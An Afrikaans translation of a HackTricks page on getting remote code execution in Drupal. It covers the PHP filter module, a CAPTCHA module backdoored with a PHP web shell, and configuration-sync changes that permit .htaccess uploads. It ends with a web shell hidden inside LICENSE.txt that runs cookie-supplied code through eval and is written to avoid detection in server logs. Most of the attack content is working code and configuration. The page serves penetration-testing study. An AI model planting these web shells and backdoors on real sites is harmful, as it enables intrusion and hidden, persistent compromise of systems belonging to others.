Drupal RCE

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Met PHP Filter Module

In ouer weergawes van Drupal (voor weergawe 8), was dit moontlik om as 'n administrateur in te teken en die PHP filter-module te aktiveer, wat "Ingeslote PHP-kode/snippets toelaat om geëvalueer te word." Maar vanaf weergawe 8 is hierdie module nie standaard geïnstalleer nie.

Jy benodig die plugin php om geïnstalleer te wees (kontroleer dit deur toegang te verkry tot /modules/php en as dit 'n 403 terugstuur, dan bestaan dit, indien nie gevind nie, dan is die plugin php nie geïnstalleer nie)

Gaan na Modules -> (Kontroleer) PHP Filter -> Stoor konfigurasie

Klik dan op Voeg inhoud by -> Kies Basiese Bladsy of Artikel -> Skryf php shellcode in die liggaam -> Kies PHP-kode in Teksformaat -> Kies Voorbeeld

Laastens, kry net toegang tot die nuut geskepte node:

curl http://drupal-site.local/node/3

Installeer PHP Filter Module

In huidige weergawes is dit nie meer moontlik om plugins te installeer deur slegs toegang tot die web te hê na die standaard installasie nie.

Vanaf weergawe 8 en verder, is die PHP Filter module nie standaard geïnstalleer nie. Om van hierdie funksionaliteit gebruik te maak, sal ons die module self moet installeer.

  1. Laai die mees onlangse weergawe van die module af van die Drupal-webwerf.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. Nadat dit afgelaai is, gaan na Administrasie > Verslae > Beskikbare opdaterings.

  4. Klik op Deursoek, kies die lêer van die gids waarna ons dit afgelaai het, en klik dan op Installeer.

  5. Nadat die module geïnstalleer is, kan ons op Inhoud klik en 'n nuwe basiese bladsy skep, soortgelyk aan hoe ons dit in die Drupal 7-voorbeeld gedoen het. Wees weer seker om PHP-kode te kies uit die Teksformaat-keuslys.

Agterdeur Module

In huidige weergawes is dit nie meer moontlik om plugins te installeer deur slegs toegang tot die web te hê na die standaard installasie nie.

'n Agterdeur module kan geskep word deur 'n dop by 'n bestaande module te voeg. Modules kan op die drupal.org-webwerf gevind word. Laat ons 'n module soos CAPTCHA kies. Blaai af en kopieer die skakel vir die tar.gz argief.

  • Laai die argief af en onttrek sy inhoud.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Skep 'n PHP web shell met die inhoud:

<?php
system($_GET["cmd"]);
?>
  • Volgende, moet ons 'n .htaccess lêer skep om ons toegang tot die vouer te gee. Dit is noodsaaklik aangesien Drupal direkte toegang tot die /modules vouer ontken.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Die konfigurasie hierbo sal reëls toepas vir die /-vouer wanneer ons 'n lêer in die /modules aanvra. Kopieer albei van hierdie lêers na die captcha-vouer en skep 'n argief.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Mits dat ons administratiewe toegang tot die webwerf het, klik op Bestuur en dan Uitbrei aan die kant. Klik daarna op die + Installeer nuwe module knoppie, en ons sal na die installeerbladsy geneem word, soos http://drupal-site.local/admin/modules/install Blaai na die agterdeur Captcha-argief en klik op Installeer.

  • Nadat die installasie suksesvol is, blaai na /modules/captcha/shell.php om opdragte uit te voer.

Backdooring Drupal met Konfigurasiesinkronisasie

Pos gedeel deur Coiffeur0x90

Deel 1 (aktivering van Media en Media-biblioteek)

In die Uitbrei kieslys (/admin/modules), kan jy aktiveer wat lyk asof dit reeds geïnstalleerde byvoegings is. Standaard lyk dit asof die byvoegings Media en Media-biblioteek nie geaktiveer is nie, so laat ons hulle aktiveer.

Voor aktivering:

Na aktivering:

Deel 2 (benutting van die kenmerk Konfigurasiesinkronisasie)

Ons sal die Konfigurasiesinkronisasie kenmerk benut om Drupal konfigurasie inskrywings te dump (uitvoer) en op te laai (invoer):

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Patch system.file.yml

Begin deur die eerste inskrywing allow_insecure_uploads van:

Lêer: system.file.yml


...

allow_insecure_uploads: false

...

Na:

Lêer: system.file.yml


...

allow_insecure_uploads: true

...

Lap veld.field.media.dokument.veld_media_dokument.yml

Daarna, lap die tweede inskrywing file_extensions van:

Lêer: veld.veld.media.dokument.veld_media_dokument.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Na:

Lêer: veld.veld.media.dokument.veld_media_dokument.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Ek gebruik dit nie in hierdie blogpos nie, maar dit word genoteer dat dit moontlik is om die inskrywing file_directory op 'n arbitrêre manier te definieer en dat dit vatbaar is vir 'n padtraversie-aanval (sodat ons binne die Drupal-lêerstelsel kan terugbeweeg).

Deel 3 (benutting van kenmerk Voeg Dokument by)

Die laaste stap is die eenvoudigste, en word opgebreek in twee substappe. Die eerste is om 'n lêer in .htaccess-formaat te laai om die Apache riglyne te benut en .txt-lêers toe te laat om deur die PHP-enjin geïnterpreteer te word. Die tweede is om 'n .txt-lêer te laai wat ons lading bevat.

Lêer: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Waarom is hierdie truuk cool?

Omdat sodra die Webshell (wat ons LICENSE.txt sal noem) op die Web-bediener geplaas is, kan ons ons bevele oordra via $_COOKIE en in die Web-bediener se logboeke sal dit vertoon as 'n geldige GET-versoek na 'n tekslêer.

Hoekom noem ons ons Webshell LICENSE.txt?

Eenvoudig omdat as ons die volgende lêer neem, byvoorbeeld core/LICENSE.txt (wat reeds teenwoordig is in die Drupal-kern), het ons 'n lêer van 339 reëls en 17.6 KB groot, wat perfek is vir die byvoeging van 'n klein stukkie PHP-kode in die middel (aangesien die lêer groot genoeg is).

Lêer: Gepatchte LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Deel 3.1 (laai lêer .htaccess op)

Eerstens maak ons gebruik van die Voeg Dokument by (/media/add/document) kenmerk om ons lêer wat die Apache riglyne bevat (.htaccess) op te laai.

Deel 3.2 (laai lêer LICENSE.txt op)

Daarna maak ons weer gebruik van die Voeg Dokument by (/media/add/document) kenmerk om 'n Webshell wat binne 'n lisensie lêer weggesteek is, op te laai.

Deel 4 (interaksie met die Webshell)

Die laaste deel behels die interaksie met die Webshell.

Soos in die volgende skermkiekie getoon word, as die koekie wat deur ons Webshell verwag word nie gedefinieer is nie, kry ons die daaropvolgende resultaat wanneer ons die lêer raadpleeg via 'n Webblaaier.

Wanneer die aanvaller die koekie instel, kan hy met die Webshell interaksie hê en enige opdragte uitvoer wat hy wil.

En soos gesien kan word in die logboeke, lyk dit asof slegs 'n txt-lêer aangevra is.

Dankie dat jy die tyd geneem het om hierdie artikel te lees, ek hoop dit sal jou help om 'n paar skulpe te kry.

Last updated